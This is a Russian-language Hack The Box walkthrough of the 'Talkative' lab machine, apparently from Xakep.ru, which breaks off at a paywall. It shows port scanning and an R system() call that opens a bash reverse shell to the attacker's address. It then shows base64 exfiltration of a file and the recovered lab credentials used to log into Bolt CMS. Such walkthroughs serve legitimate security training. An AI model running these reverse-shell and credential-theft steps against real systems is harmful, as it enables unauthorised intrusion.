Содержание статьи
CAP_DAC_READ_SEARCH
.warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.155 talkative.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашли пять открытых портов:
- 80, 3000 — веб‑сервер Apache 2.4.52;
- 8080, 8081, 8082 — веб‑сервер Tornado 5.0.
При этом фильтруется подключение к порту 22 (SSH).
С помощью утилиты WhatWeb узнаем, какие технологии используются на обнаруженных открытых портах.
whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/
Из всего, что нашел WhatWeb, нас больше всего интересует платформа Jamovi.
Точка входа
Нам доступен Rj Editor, а это очень легкий способ получить удаленное выполнение кода (RCE). Для создания реверс‑шелла будем использовать сайт Online Reverse Shell Generator. Там указываем параметры, такие как локальные хост и порт, язык и целевую систему.
Затем открываем листенер, можно скопировать команду из генератора. А теперь открываем Rj Editor и передаем сгенерированный шелл в функцию system
. Отправляем на выполнение комбинацией клавиш Ctrl + Shift + Enter.
system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",intern=TRUE)
И получаем удаленную командную оболочку.
По пользователю и имени хоста понимаем, что находимся в докер‑контейнере.
Точка опоры
Осматриваемся в рабочем окружении и в домашнем каталоге рута находим файл с расширением omv.
Перенесем этот файл на локальный хост для дальнейшего изучения. Так как файл маленький, можем закодировать его в Base64, а потом декодировать на локальном хосте.
cat /root/bolt-administration.omv | base64 -w0
Декодируем текст, а затем распакуем как архив ZIP. В одном из файлов найдем учетные данные.
echo UEsDBBQA...mBgAAAAA= | base64 -d > bolt-administration.omv
unzip bolt-administration.omv
Получаем следующие пары учетных данных:
matt@talkative.htb : jeO09ufhWD<s
janit@talkative.htb : bZ89h}V<S_DA
saul@talkative.htb : )SQWGm>9KHEA
Я перепробовал разные комбинации логинов и паролей, но доступа все равно никуда получить не удалось. Однако находим почтовый адрес администратора и, попробовав найденные пароли для него, авторизуемся в CMS Bolt.
CMS Bolt — RCE
Bolt использует Twig для шаблонов и позволяет управлять контентом и пользователями. Это дает нам возможность записывать код в новый файл или вносить изменения в существующие файлы.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»